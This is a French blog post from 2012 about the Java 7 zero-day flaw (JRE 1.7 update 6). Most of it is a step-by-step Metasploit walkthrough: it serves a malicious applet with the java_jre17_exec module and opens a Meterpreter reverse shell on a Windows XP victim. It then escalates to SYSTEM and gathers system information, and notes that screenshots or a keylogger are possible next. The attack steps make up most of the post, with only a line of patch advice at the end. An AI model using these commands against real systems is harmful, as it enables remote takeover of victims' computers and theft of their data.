lundi 27 août 2012

Metasploit et la faille 0 Day Java CVE-2012-XXXX

Une nouvelle faille de sécurité vient d'être découverte dans Java. Il s'agit d'un exploit 0day, qui permet à une personne malveillante de se connecter à une machine distante.  Les navigateurs Internet Explorer, Chrome et Firefox (tous systèmes d'exploitation confondus, c'est-à-dire Windows, Linux, Mac...) utilisant Java en version JRE 1.7 update 6 sont concernés par le problème.

Intrusion de virus
D'après une première analyse d'Atif Mushtaq, l'exploit aurait fait sa première apparition sur un serveur chinois, le 26 août 2012. Et visiblement, ce n'est qu'une question de temps avant que d'autres personnes ne reprennent ses principes de base et se mettent à coder des variantes, dans le but de réaliser des attaques de plus grandes ampleurs.
Atif Mushtaq se demande également combien de temps il va falloir à Oracle pour proposer un patch, alors que nous sommes en plein mois d'août.
En attendant, voici un exemple d'utilisation de cette faille avec Metasploit, en prenant pour cible une machine Windows :
$ svn up
$ ./msfconsole
msf > use exploit/multi/browser/java_jre17_exec
msf > info
msf > set SRVHOST 192.168.1.100
msf > set SRVPORT 80
msf > set URIPATH /foo
msf > show targets
Exploit targets:
Id  Name
--  ----
0   Generic (Java Payload)
1   Windows Universal
2   Linux x86
msf > set TARGET 1
msf > show payloads
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100
msf > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.100:4444
[*] Using URL: http://192.168.1.100:80/foo
[*] Server started.
Ensuite, il ne reste plus qu'à attendre qu'une personne se connecte au serveur infecté (http://192.168.1.100:80/foo), lancé précédemment avec Metasploit :
[*] 192.168.1.100  java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.1.100  java_jre17_exec - Sending Applet.jar
[*] 192.168.1.100  java_jre17_exec - Sending Applet.jar
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.101:56567) at Mon Aug 27 18:13:08
On ouvre une session à distance :
msf > sessions -i 2
[*] Starting interaction with 2...
On passe administrateur sur le poste Windows :
meterpreter > getsystem
...got system (via technique 1).
On récupère quelques infos :
meterpreter > sysinfo
Architecture    : x86
Computer        : xblade
System Language : fr_FR
OS              : Windows XP (Build 2600, Service Pack 3).
Meterpreter     : x86/win32
A ce stade là, on peut faire ce que l'on veut sur le système (capture d'écran, mise en place d'un keylogger...). Pour corriger cette faille, vous devez mettre à jour Java sur votre machine (quand les majs seront disponibles bien entendu).